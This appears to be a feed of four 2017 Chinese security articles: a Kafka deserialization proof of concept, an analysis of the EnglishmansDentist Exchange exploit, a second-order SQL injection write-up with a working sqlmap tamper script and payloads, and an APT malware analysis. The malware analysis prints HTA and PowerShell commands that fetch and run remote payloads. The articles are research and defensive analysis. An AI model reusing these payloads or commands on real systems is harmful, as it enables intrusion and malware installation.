首先生成一个恶意的对象,这个对象在反序列化后就会执行恶意代码,此处采用ysoserial.payloads.Jdk7u21这个开源框架中的方法,直接产生一个恶意对象


【漏洞分析】Apache Kafka readObject漏洞分析报告

生成这个恶意对象后,将这个对象序列化,然后存储成一个文件,漏洞是FileOffsetBackingStore这个只接受文件的class出的所以需要传入这个文件。

可以看到我们将执行的命令是touch 360CERT创建一个名为360CERT的文件。

接下来给即将实例化的FileOffsetBackingStore对象做一些初始化设置,将要读取的文件路径传入。


【漏洞分析】Apache Kafka readObject漏洞分析报告

调用configure方法后


【漏洞分析】Apache Kafka readObject漏洞分析报告

会设置this.file这个属性的值,为我们传入的文件

调用start方法后


【漏洞分析】Apache Kafka readObject漏洞分析报告

【漏洞分析】Apache Kafka readObject漏洞分析报告

所以直接进入load方法


【漏洞分析】Apache Kafka readObject漏洞分析报告

可以看到这里将this.file的值读取到is中,这里就是我们构造的恶意序列化的对象

而接下来调用的readObject()方法正好会序列化这个对象


【漏洞分析】Apache Kafka readObject漏洞分析报告

【漏洞分析】Apache Kafka readObject漏洞分析报告

可以看到360CERT这个文件已经被我们创建了。


V.时间线

2017-7-19oss-security发布安全公告

2017-7-19360CERT完成对漏洞的分析并形成报告


VI.参考来源

http://www.openwall.com/lists/oss-security/2017/07/19/1



【漏洞分析】Apache Kafka readObject漏洞分析报告
【漏洞分析】Apache Kafka readObject漏洞分析报告
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4190.html

【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析

$
0
0
【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析

2017-08-03 09:59:59

阅读:468次
点赞(0)
收藏
来源: microsoft.com





【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析

作者:myswsun





【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析

译者:myswsun

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00 前言

我们继续编写系列文章来剖析2017年4月ShadowBroker公布的漏洞利用。在之前的两篇文章中与SMB漏洞利用有关(EternalChampion和EternalSynergy),这次我们将分析另一个工具,将关注一个名为EnglishmansDentist的漏洞利用,其针对Exchange Server 2003设计。

EnglishmansDentist的目标是Exchange 2003 邮件服务器,会利用windows Server 2003底层操作系统提供的共享库中的渲染漏洞,该库默认配置为Exchange 2003所用。

新版的操作系统(Win Server 2008及以上)和更新版本的Exchange Server(2007及以上)不受这个漏洞利用的影响。因此对于新平台的用户,不必采取任何措施。

正如之前MSRC博客中宣称的,在考虑到代码已武器化及威胁规模的评估后,微软决定在6月为停止支持的平台(Windows XP和Server 2003)发布更新补丁,以保护那些不能更新新产品的客户。

本文将深入到这个漏洞的根因、微软产品的影响、漏洞利用的方式及在新版操作系统和产品中的现代缓解措施如何破环这种利用。


0x01 概述

这个漏洞的根因是在动态库(OLECNV32.dll)的代码中的一个内存破环的bug,其是用于渲染使用老的文件格式(如QucikDraw PICT)编码的图片的。这个图形库在Windows XP和Server 203上默认存在。Exchange Server 2003使用这个图形库来渲染使用电子邮件附件形式传播的PICT内容。因此,虽然底层bug存在于操作系统中,用于触发漏洞代码的攻击向量是一个Exchange 渲染例程,其通过OLE调用来调用。且使用一个精心构造的电子邮件触发。

当微软安全工程师分析共享组件(如图形库)中的漏洞时,最开始要回答两个非常重要的问题:

一直在支持的哪些产品可能使用或者分发这个有漏洞的共享库?

有漏洞的库的代码是否复制或重用到其他组件中?

对于第一个问题,我们确定有漏洞的OLECNV32.dll的库只存在于停止支持的平台中(如Windows Server 2003和XP),且前者是Exchange Server 2003默认安装平台。在研究了受影响的平台和可能的Exchange Server的安装组合,我们得到下面的矩阵,能帮助理解哪种产品的组合暴露于EnglishmansDentist的威胁中。

Exchange Server 2007不受这次攻击的影响,因为尽管这个库还是可能存在于硬盘上(在Windows Server 2003和Exchange 2007中不太常见),但是图形渲染引擎不再使用OLECNV32.dll库来渲染PICT图片了。新版本的Exchange Server(如2010和2013)也不受这个bug的影响,因此不用考虑他们。


【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析

关于源代码的调查,我们跟踪了停止支持的老版本中的Office中的PICT的有漏洞的代码如何整合并重用的。在这个调查期间,我们很高兴看到,尽管这个bug被开发者复制到Office的一个图形过滤中,但是微软的代码安全检视和模糊测试发现了这个bug,它在2006年就内部修复了。这个例子对于bug冲突很有代表性,内部渗透测试及模糊测试可能会提前扼杀攻击者使用漏洞。

EnglishmansDentist可能开始于2005年之前编写的,因为针对Exchange Server 2003 SP2测试, 这个漏洞利用似乎不能正常工作(会崩溃),并且它只针对32位的操作系统,可能是因为10年前64位的架构还不流行。


0x02 漏洞利用的条件和传播机制

EnglishmansDentist需要攻击者在目标Exchange 2003邮件服务器上至少有一个可靠的邮件账户(用户名和密码)。实际上,漏洞利用首先有一系列验证和检查来确保可靠的账户能登录并成功检查邮件。漏洞利用也需要另一个电子邮件账户(真假皆可),用于发送恶意格式的PICT附件给可靠的账户。

在传播了恶意的PICT附件到目标邮件服务器后,这个工具使用可靠账户的凭据登录并强制Exchange 服务器使用多种可靠协议(OWA, IMAP, POP3)中的任一个来解析并渲染恶意的附件。因为渲染代码在服务端执行,成功利用将导致在Exchange 服务器进程(具有SYSTEM权限)的上下文中执行任意代码。

在漏洞利用后,EnglishmansDentist保持监听模式,以等待连接的shellcode。当这个发生时,工具命令Exchange服务器删除传播漏洞利用的恶意邮件,并移除攻击痕迹。


【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析

0x03 漏洞:CVE-2017-8487

为了理解这个漏洞,读者必须熟悉PICT图形规范和这个文件格式定义的操作码。在网上有些参考来解析这种老的文件格式。另一个参考是PICT内部操作码的解析代码的细节。

当针对Exchange Server 2003 SP2测试漏洞利用时,我们观察到在我们的测试环境中的崩溃问题;在本文中我们只包含了分析这个漏洞的相关信息和模块,红色标记的是攻击者控制的栈帧,黄色的是感兴趣的函数名。


【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析

从调用堆栈中可以看到,漏洞存在于OLECNV32.dll导出函数QD2GDI()中。这个函数负责转化并渲染QuickDraw图片,它为Exchange Server 2003中“store.exe”进程所用。当读取新邮件时通过OWA解析附件时这个例程被调用;这个解析器的攻击面是到达了OLE32中。

QD2GDI()的内部代码在解析一个LongComment记录(通常用0xA1标识)时有一个内存破环的bug。通过使用一个包含大于32字节的fontName字符串的PP_FONTNAME子记录来创建一个恶意构造的PICT文件能利用这个bug,其将触发固定大小变量的越界读写内存破环。

EnglishmansDensist提供的恶意构造的PICT图片与下面的很相似。


【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析

这个图片总是以2个硬编码的头开始。一个是用于整合PICT图片到TNEF OLE容器中(通过Exchange使用的邮件附件格式);第二个是表示一个正常的PICT头。两个静态头紧接着标记TxFont记录和触发内存破环的有漏洞的LongComment记录。

恶意的PICT是在EnglishmansDentist中的位于偏移0x404621和0x404650处的两个例程的代码生成的。通过汇编静态头和多个PICT头完成,其中包括恶意构造的0xA1操作码和其他用于传播ROP链和加密的shellcode payload的记录。


【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析

解码头,且通过QD2GDI执行记录将立马命中恶意构造的0xA1操作码,并触发漏洞。


【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析

【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析

正如之前提到的,这个bug在微软内部被发现过。因此函数GetString()多年前已经修改过了,需要调用者传入缓冲区的长度,并加强检查以避免越界读写。


0x04 漏洞利用:缺少缓解措施

不幸的是,在类似Windows Srever 2003的环境中利用越界覆盖的漏洞很容易,因为缺少基本的缓解措施,如ASLR和CFG。在Windows Server 2003中,DEP能简单的被绕过,因为缺少ASLR。没有内存布局随机化,攻击者使用事先计算好的ROP链来调用VirtualAlloc并从shellcode转移到新分配的可执行缓冲区中。

这个漏洞利用首先通过恶意格式的0xA1记录来触发内存破环漏洞,并且越界覆盖来破环存储其他对象的OLECNV32结构体。这个漏洞利用的目标是全局的fontTable()数组中的一个字体条目,稍后会复制到gdiEnv结构体,被哪个能使用覆盖函数指针来控制执行。

下面漏洞利用期间捕获的内存转储表明了fontTable[]数组的例子,一些条目被有漏洞的GetString()引起的内存覆盖破环了。来自PICT文件的恶意形式的数据覆盖fontTable[]是可能的,并且下面红色标记的初始ROP gadget(0x6D8B1CFD)。
【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析
在破环fontTable[]之后,利用解析其他PICT操作码触发更多的漏洞、这将导致OLECNV32做更多的字符串拷贝操作来复制恶意格式的字体信息到OLECNV32!gdiEnv数据结构体中,参加下面代码片段(fontTable[newFont]是恶意形式的,现在被黑客控制了)。
【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析

最后的字符拷贝操作将导致函数指针被覆盖,能被攻击者在EnumFonts函数被调用时作为回调来控制。


【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析

0x05 漏洞利用:针对英文、德文、韩文和中文的ROP链

漏洞利用使用位于Dbghelp.dll中的ROP gadget,它通常会被Exchange Server 的store.exe进程加载到内存空间中。第一个版本的漏洞利用也可以使用OLDCNV32.dll gadget来代替。即使缺少ALSR随机化,得到稳定并通用的漏洞利用也不是立马能办到的,因为Dbghelp.dll是个依赖于语言的库(不同操作系统语言有不同的版本)。在不同的Windows Server 2003版本中这是不同的。

攻击者通过事先计算好了他们感兴趣的每个操作系统版本中的正确的偏移。实际上,配置文件XML包含于EnglishmansDentist包含了针对Windows Server 2003英文版(同时还有德文、韩文、简体中文、繁体中文)开发的ROP链。


【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析

解码EnglishmansDentist中配置的ROP gadget将映射到Dbghelp.dll模块中的代码。


【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析

第一个gadget通过覆盖函数指针执行(0x6d8b1cfd),将做一些栈对齐和保持EBP平衡(add 0x1A0),然后使用LEAVE/RET指令的组合转移控制到完整的ROP链中。完整的ROP链(在内存中可见)显示如下。这个ROP很小,用于分配内存来绕过DEP(0x8888字节),并复制这个区域的shellcode(egghunter),其是用于使用SYSTEM权限运行最后的后门payload。


【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析

0x06 检测和缓解措施

正如我们之前提到的,Windows Server 2003缺少基本的缓解措施。因为ASLR、CFG和其他的缓解措施,在现代操作系统中(如Windows 10创新者更新或者Windows Server 2016)将变得很难利用。同时,完整性等级和容器(沙箱)的引入,使得微软限制一些图像渲染组件来使得在类似这个解析漏洞中的破环程度最小化。(比如office保护模式,浏览器的AppContainer,和字体渲染的字体沙箱)。

最后,这些天在微软编译器找那个的安全检查和模糊测试的使用能找到并消除类似的bug,从源码级减少bug。

我们提供了一个yara规则来检测通过EnglishmansDentist通过邮件传播的PICT图形。


【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析


【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析
【技术分享】ShadowBrokers:针对EnglishmansDentist Exploit的分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blogs.technet.microsoft.com/srd/2017/07/20/englishmansdentist-exploit-analysis/

【技术分享】如何借助Burp和SQLMap Tamper利用二次注入

$
0
0
【技术分享】如何借助Burp和SQLMap Tamper利用二次注入

2017-08-03 13:48:08

阅读:519次
点赞(0)
收藏
来源: pentest.blog





【技术分享】如何借助Burp和SQLMap Tamper利用二次注入

作者:eridanus96





【技术分享】如何借助Burp和SQLMap Tamper利用二次注入

译者:eridanus96

预估稿费:160RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


Web应用已经从简单的脚本逐渐发展成完整的页面应用程序,然而越复杂的Web应用就越容易出现不同类型的安全漏洞,其中的一种就是二次注入漏洞。攻击payload首先被Web服务器上的应用存储,随后又在关键操作中被使用,这便被称为二次注入漏洞。

我们知道,在任何地方都可能会出现二次注入漏洞。不仅仅是在同一应用中,使用了相同数据源的不同Web应用也可能会出现这一漏洞。因此,我们几乎没办法通过自动扫描来检测到它们。

本文将以某商城网站为例,尝试借助Burp Suite和SQLMap Tamper利用二次注入。


手工渗透方法

渗透能否成功,往往取决于我们对目标的理解程度。因此,我通常会像普通用户一样花一两天的时间在我的目标上,以理解其整个工作流程。在做每件事情和提交表单时,我会尝试遵循表单域的命名约定。

为主模块(例如发票、新闻、费用信息等,通常是在导航栏看到的内容)设置一个关键字。

假如说我们正在浏览“门票”模块,并且表单需要提供一个名称和电子邮件地址。

用户名:johnticket1

邮件:johnticket1@yopmail.com

这样有助于跟踪数据的来源,如果我们在渗透过程中(一个APP的渗透通常需要5-6天时间),看到johnticket1在其他地方出现,那么我们就知道了攻击的目标是哪个向量。


第一阶段:检测

在浏览目标时,我在Burp Suite的日志中看到了这样的请求和响应:

GET/wishlist/add/9HTTP/1.1 Host:targetwebapp User-Agent:Mozilla/5.0(windowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/47.0.2526.73Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language:en-US,en;q=0.5 Referer:http://targetwebapp/ Cookie:XSRF-TOKEN=eyJpdiI6ImVmODhzTFRXV0wrdkRVV05MVTdyQ3c9PSIsInZhbHVlIjoiYWN1ZkkwRk1WMjZycTdDRjdSZFVuN3VKR3ZGQUpTWWZyYWNURmcyMzZtY1Zlc25vUDhvdk5xaFhHbXZidEUyalA2eUl4aDQzakhBQmNpWGtsN1lNXC9nPT0iLCJtYWMiOiIxZTAxOGU5YTVjZTY1NDdmNTFlNmMzZWRjNTM5M2Y3YTJiNTIyZjk0NThlZDgwYWExYjc1YjJmOWRiYWQyM2MxIn0%3D;session=eyJpdiI6ImdudzFVTGlNem1CYzlGUlY1aG1Xbnc9PSIsInZhbHVlIjoiMFZcL2ZHZTRDejlyUGlwbG5zNW5mNHpvYUZMdVFHUjVQVkpOZkI5M1UrazArMThDSzRiSURac0FmdTBpd0hXaFN5OVAxdytvMFhVNzhadzN1dU5NM013PT0iLCJtYWMiOiIyYWEzOWI5NWM4ZDBhNmQ1NzQ1NzA3ZjkwY2Q5NzI5NTc2MWU4NDk4YWY3OTkzMGM5ZmQ2YjBlYjFkMmNlZjIxIn0%3D X-Forwarded-For:127.0.0.1 True-Client-Ip:127.0.0.1 Connection:close Upgrade-Insecure-Requests:1 ---- HTTP/1.1302Found Date:Tue,01Aug201707:31:12GMT Server:Apache/2.4.18(Ubuntu) Cache-Control:no-cache,private Location:http://targetwebapp/ Set-Cookie:XSRF-TOKEN=eyJpdiI6IjlVXC9XSWtobkdHT0tlZDNhKzZtUW5nPT0iLCJ2YWx1ZSI6Ijg3enBCSHorT1pcLzBKVVVsWDJ4akdEV1lwT2N0bUpzdDNwbmphM3VmQndheDRJZDQ3SWJLYzJ6blFQNHppYytPQzVZNGcxWVdQVlVpWm1MVDFNRklXQT09IiwibWFjIjoiZWRmYjAwYjgzYWQ1NWQyMWM1ZWQ2NjRjMThlZmI3NjQ4ODVkNWE0YWEyZTBhYzRkMjRkOWQ2MmQ4OTA0NDg3YyJ9;expires=Tue,01-Aug-201709:31:12GMT;Max-Age=7200;path=/ Set-Cookie:session=eyJpdiI6IkpMdzdJSEE3NndnUXI2NXh0enJYNXc9PSIsInZhbHVlIjoiMkNhek8wXC9FUHQ1bzhjbnMrbHpJWXBjTGhhQTFCM3kyQjI4bTFHRHZkKzZNK2NvSGtwQUZJcWxTeEFHREdEOFBiWVwvVFNyZTNEVlNyRTFlRGMrRlZKZz09IiwibWFjIjoiYTA2ZjlmZTVkYWM3MTc4ODE5Y2VmNmFkNTMzYjYyOTNmZjUxOGRkYjhkYzJmYThhYWM4OTNkNzg4MTliZjVkMSJ9;expires=Tue,01-Aug-201709:31:12GMT;Max-Age=7200;path=/;HttpOnly Content-Length:324 Connection:close Content-Type:text/html;charset=UTF-8 <!DOCTYPEhtml> <html> <head> <metacharset="UTF-8"/> <metahttp-equiv="refresh"content="1;url=http://targetwebapp/"/> <title>Redirectingtohttp://targetwebapp/</title> </head> <body> Redirectingto<ahref="http://targetwebapp/">http://targetwebapp/</a>. </body> </html>

我正在向wishlist中添加一个产品。这一操作完成后,应用程序会重定向回主页。如果浏览另一个模块(/wishlist/),就可以看到这个产品的详细信息。

值得注意的是,我们在HTTP响应中看到了一个新的Set-Cookie参数。为了验证,我又尝试在wishlist中添加了几个不同的产品,结果每个请求都得到了新的Set-Cookie。

由此可知:在没有登录的前提下,应用程序能够跟踪我添加的产品;当我用不同的ID重复上述请求,我都会得到Set-Cookie。

现在,已经可以分析出,应用程序在我的cookie中存储了产品的ID值,并在将其发回我之前进行了加密。至此,我认为我的目标是一个Laravel的应用程序,原因在于其XSRF-TOKEN cookie名称和cookie加密都是Laravel框架默认的设定。

在这里,最重要的是要知道:我通过/wishlist/add/<id>提交的任何内容,都会存储在我加密后的cookie里。如果我浏览/wishlist/路径,应用程序接下来的步骤是:

获取cookie;

解密cookie;

获取来自cookie数据的wishlist数组;

在查询中使用此数组;

显示所需产品的详细信息。


第二阶段:自动化工具问题

事实上,无论是Burp还是Netsparker都无法检测到这一SQL注入。为了让大家更清晰地了解这一点,下面是自动化工具的通用工作流程:

登录应用,或者使用提供的cookie;

发送/wishlist/add/9" and 1=1 -- 或 /wishlist/add/9'or 1=1-- 或 /wishlist/add/9' OR SLEEP(25)=0 LIMIT 1--等有效载荷;

计算请求与响应之间的时间间隔;

对HTTP响应的body进行分析;

等待外部请求。

从上述流程可以看到,扫描器不会看到HTTP响应正文的任何不同。同时,响应和请求之间并不会有太大的时间间隔。应用程序只需将输入内容储存到其他地方(在这里是将cookie加密)。

当扫描器扫描过每一个单独的URL后,会开始访问SQL查询执行的位置,即/wishlist/。但是,由于其具有多个SQL payload,工具已经打乱了SQL结构,因此将只能看到HTTP 500错误。


第三阶段:让SQLMAP再显神威

下面是SQLMap生成的前五个HTTP请求,特别是前两个一直保持不变。

~pythonsqlmap.py-r/tmp/r.txt--dbmsmysql--second-order"http://targetapp/wishlist"-v3 [11:48:57][PAYLOAD]KeJH=9030AND1=1UNIONALLSELECT1,NULL,'<script>("XSS")</script>',table_nameFROMinformation_schema.tablesWHERE2>1--/**/;EXECxp_cmdshell('cat../../../etc/passwd')# [11:48:57][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:48:57][INFO]testingifthetargetURLisstable [11:48:58][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:48:58][WARNING]URIparameter'#1*'doesnotappeartobedynamic [11:48:58][PAYLOAD]9(..,)),('" [11:48:58][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:48:58][WARNING]heuristic(basic)testshowsthatURIparameter'#1*'mightnotbeinjectable [11:48:58][PAYLOAD]9'AGZHkY<'">Bubyju [11:48:59][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:48:59][INFO]testingforSQLinjectiononURIparameter'#1*' [11:48:59][INFO]testing'ANDboolean-basedblind-WHEREorHAVINGclause' [11:48:59][PAYLOAD]9)AND3632=7420AND(3305=3305 [11:48:59][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:48:59][PAYLOAD]9)AND3274=3274AND(6355=6355 [11:49:00][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:49:00][PAYLOAD]9AND5896=8011 [11:49:00][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:49:00][PAYLOAD]9AND3274=3274 [11:49:01][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:49:01][PAYLOAD]9')AND9747=4557AND('xqFU'='xqFU [11:49:01][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:49:01][PAYLOAD]9')AND3274=3274AND('JoAB'='JoAB [11:49:01][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:49:01][PAYLOAD]9'AND6443=5019AND'zuGP'='zuGP [11:49:02][DEBUG]gotHTTPerrorcode:500(InternalServerError) [11:49:02][PAYLOAD]9'AND3274=3274AND'iWaC'='iWaC

我们仔细研究前两个payload,会发现SQLMap在尝试检测WAF,然后被应用程序强制进行编码。随后,通过不断发送payload,试图找出SQL查询的语法形式。但问题在于,所有这些payload将被存储在cookie上,这就意味着每当SQLMap进行二次注入,都会出现HTTP 500错误。还有,第一个请求已经弄乱了SQL语法,这导致SQLMap的其他攻击将会出现问题。

因此,我们需要为SQLMap生成的每一个HTTP请求提供一个新的会话。我通过自定义的tamper脚本解决了这一问题。

下列HTTP请求和响应是我们强制应用程序启动新会话的方法:

GET/HTTP/1.1 Host:targetwebapp User-Agent:Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/47.0.2526.73Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language:en-US,en;q=0.5 X-Forwarded-For:127.0.0.1 True-Client-Ip:127.0.0.1 Connection:close Upgrade-Insecure-Requests:1 --- HTTP/1.1200OK Date:Tue,01Aug201706:31:36GMT Server:Apache/2.4.18(Ubuntu) Cache-Control:no-cache,private Set-Cookie:XSRF-TOKEN=eyJpdiI6IkIyb0o5TjJ1TTMzcVBseE9mOGFYK1E9PSIsInZhbHVlIjoiemR2V2d1b2xvZ1JcL3I5M0VsV2sxUGR0N2tRYkFPK2FwQ2lZc0xFV25iUkhrWVFjK3VscUJSRFNiekdnQ3VJZVVCa0RJQ0czbVNxMVdSSyt4cXkxbWtnPT0iLCJtYWMiOiIyYmE1YTQyZTAzMDYzNTQ3ZDk0OTkxN2FjMDg5YmMzNzVkOGUxODVmZTVhY2M0MGE4YzU1Yzk4MDE2ODlmMzUwIn0%3D;expires=Tue,01-Aug-201708:31:36GMT;Max-Age=7200;path=/ Set-Cookie:session=eyJpdiI6InZqcVk1UWtFOStOMXJ6MFJ4b2JRaFE9PSIsInZhbHVlIjoidGJ0VFJ2VXpqY1hnQ2xXYkxNb2k5QWltRDFTRlk2RmJkQ0RIcWdMYVg2NDZlR0RnTXRSWXVWM3JTOWVxajl5R08wb0RydlhKWkZSMGYrNnF3RjBrSEE9PSIsIm1hYyI6IjYwZWRmZGQ1ODEzODJkZDFmNDIzNmE3ZWYzMDc1MTU5MTI3ZWU4MzVhMjdjN2Q0YjE0YmVkZWYzZGJkMjViNDEifQ%3D%3D;expires=Tue,01-Aug-201708:31:36GMT;Max-Age=7200;path=/;HttpOnly Vary:Accept-Encoding Connection:close Content-Type:text/html;charset=UTF-8 Content-Length:22296

它可以执行如下步骤:

将请求发送到主页,而不提供任何cookie;

解析Set-Cookie并获取XSRF-TOKEN和SESSION;

更新由SQLMap生成的HTTP请求;

对于每一次SQLMap的检测,都会有一个新的SESSION,当SQLMap在发送payload后尝试/wishlist/时,从/wishlist/得到的响应将只与前一个payload相对应。

在此,我建议你使用https://github.com/h3xstream/http-script-generator的工具,作者是Philippe Arteau,这一扩展脚本可以重新生成指定的请求。


【技术分享】如何借助Burp和SQLMap Tamper利用二次注入

下面是我的SQLMap tamper模块,它向主页发送HTTP请求并检索新的cookie值,最后会更新SQLMap生成的HTTP请求的cookie值。

#!/usr/bin/envpython """ Copyright(c)2006-2017sqlmapdevelopers(http://sqlmap.org/) Seethefile'doc/COPYING'forcopyingpermission """ importrequests fromlib.core.enumsimportPRIORITY fromrandomimportsample __priority__=PRIORITY.NORMAL defdependencies(): pass defnew_cookie(): session=requests.Session() headers={"User-Agent":"Mozilla/5.0(WindowsNT10.0;WOW64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/47.0.2526.73Safari/537.36","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1"} response=session.get("http://targetwebapp/",headers=headers) XSRF_TOKEN=response.headers['Set-Cookie'].split(';')[0] SESSION=response.headers['Set-Cookie'].split(';')[3].split(',')[1].replace("","") return"Cookie:{0};{1}".format(XSRF_TOKEN,SESSION) deftamper(payload,**kwargs): headers=kwargs.get("headers",{}) headers["Cookie"]=new_cookie() returnpayload sqlmapgit:(master)pythonsqlmap.py-r/tmp/r.txt--dbmsMySQL--second-order"http://targetapp/wishlist"--tamper/tmp/durian.py ... Database:XXX [12tables] +------------------------------------------------------+ |categories| |comments| |coupon_user| |coupons| |migrations| |order_product| |orders| |password_resets| |products| |subscribers| |user_addresses| |users| +------------------------------------------------------+

经验

可以使用自动扫描器,但不要轻易相信它的结果。

如果可能,请让有能力的人对应用进行手动渗透。

如果你是渗透测试者,请牢记:是你进行了渗透测试,而不是工具,工具只是一个辅助。

有一个好思路非常关键。




【技术分享】如何借助Burp和SQLMap Tamper利用二次注入
【技术分享】如何借助Burp和SQLMap Tamper利用二次注入
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/

【木马分析】Gaza Cybergang APT团伙新样本分析

$
0
0
【木马分析】Gaza Cybergang APT团伙新样本分析

2017-08-03 10:54:49

阅读:1539次
点赞(0)
收藏
来源: 安全客





【木马分析】Gaza Cybergang APT团伙新样本分析

作者:360天眼实验室





【木马分析】Gaza Cybergang APT团伙新样本分析

事件背景

2017年6月下旬, 360威胁情报中心发现了Gaza Cybergang APT事件的新样本,其特点是恶意代码完全使用网上流行的标准攻击框架Cobalt Strike生成,配合CVE-2017-0199漏洞通过鱼叉邮件投递,本文档对并对此次攻击事件的攻击链条进行梳理,并对使用的木马相关技术进行分析。


样本分析


【木马分析】Gaza Cybergang APT团伙新样本分析

该文档所利用的漏洞为CVE-2017-0199,该漏洞利用OFFICE OLE对象链接技术,将包裹的恶意链接对象嵌在文档中,OFFICE调用URL Moniker(COM对象)将恶意链接指向的HTA文件下载到本地, URL Moniker通过识别响应头中content-type的字段信息最后调用mshta.exe将下载到的HTA文件执行起来。


【木马分析】Gaza Cybergang APT团伙新样本分析
可以看到下载地址为http://138[.]68.242.68:820/word.hta

Hta的代码如下:

<script> a=newActiveXObject('WScript.Shell'); a.run('%windir%\\SysWOW64\\windowsPowerShell\\v1.0\\powershell.exe-nop-c"iex(New-ObjectNet.WebClient).DownloadString(\'https://gist.githubusercontent.com/0lol0/142364f6926d01c9b050cbeae12cbf59/raw/89e00b0bbd830e7779301f642543be9b0bcddeb3/1.ps1\')"',0,true); window.close(); </script> 其会启用powershell去下载https://gist[.]githubusercontent.com/0lol0/142364f6926d01c9b050cbeae12cbf59/raw/89e00b0bbd830e7779301f642543be9b0bcddeb3/1.ps1 1.ps1其实也是一个downloader,从https://drive[.]google.com/uc?export=download&id=0B1NUTMCAOKBTdVQzTXlUNHBmZUU下载一个PE文件并保存为%appdata%目录下的ps.exe。 powershell.exe-commandPowerShell-ExecutionPolicybypass-noprofile-windowstylehidden-command(New-ObjectSystem.Net.WebClient).DownloadFile('https://drive.google.com/uc?export=download&id=0B1NUTMCAOKBTdVQzTXlUNHBmZUU',"$env:APPDATA\ps.exe");Start-Process("$env:APPDATA\ps.exe")

ps.exe是一个sfx文件,解压出来notepad.exe是一个dropper,其会在temp目录释放一个powershell脚本,然后以"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -noProfile -ExecutionPolicy Bypass -File "C:\Documents and Settings\Administrator\Local Settings\Temp\3A.tmp\3B.ps1"执行该脚本。


【木马分析】Gaza Cybergang APT团伙新样本分析

Powershell脚本的功能也非常简单,将内置的字符串base64decode后,得到一个PE文件(beacon_dll.dll),然后CreateThread一个新线程,将这个dll加载起来。

beacon_dll.dll是使用cobalt strike攻击框架生成的标准攻击载荷。其使用了一种叫做Reflective Load的技术,也就是在PE头部插入shellcode并实现一个模拟加载dll的导出函数,在shellcode中调用该导出函数将自身加载进来,并以fdwReason = 4来调用DllMain,这样做的好处有两个:

可以直接将dll当成shellcode加载\注入到内存中从MZ头开始执行;

正常地加载dll不会执行到功能流程(因为在MSDN中指明了fdwReason的值只能为0、1、2、3)。

MZ头部的shellcode如下:


【木马分析】Gaza Cybergang APT团伙新样本分析

实现自加载的导出函数的校验PE头部分代码:


【木马分析】Gaza Cybergang APT团伙新样本分析

DllMain中代码:


【木马分析】Gaza Cybergang APT团伙新样本分析
可以看到,只有在fdwReason == 4时才会进入真正的功能流程,进入该流程后,首先将数据节偏移为 0x2E040,大小为 0x610的数据解密,解密方式是xor 0x69, 解密出的数据中包含了C&C, lol[.]mynetav.org。
【木马分析】Gaza Cybergang APT团伙新样本分析

然后开始连接C&C服务器,这里支持dns_text,http,smb,tcp等多种协议的通信方式:


【木马分析】Gaza Cybergang APT团伙新样本分析

【木马分析】Gaza Cybergang APT团伙新样本分析

最后进入的就是远控功能部分了,由于是Cobalt Strike生成的标准载荷,功能包括显示应用信息、显示机器的凭证信息,文件下载,查看事件日志,键盘记录,获取代理信息,屏幕截图,加载脚本等等.. 具体功能就不再分析了。


扩展与关联分析

使用360威胁情报中心的威胁情报平台(http://ti.360.com)对样本连接的C&C地址(138.68.242.68)做进一步关联,发现了一个新的样本:


【木马分析】Gaza Cybergang APT团伙新样本分析

【木马分析】Gaza Cybergang APT团伙新样本分析
该样本与上面提到的样本几乎完全一致,只是连接的url变成了http://138[.]68.242.68:808/word.hta

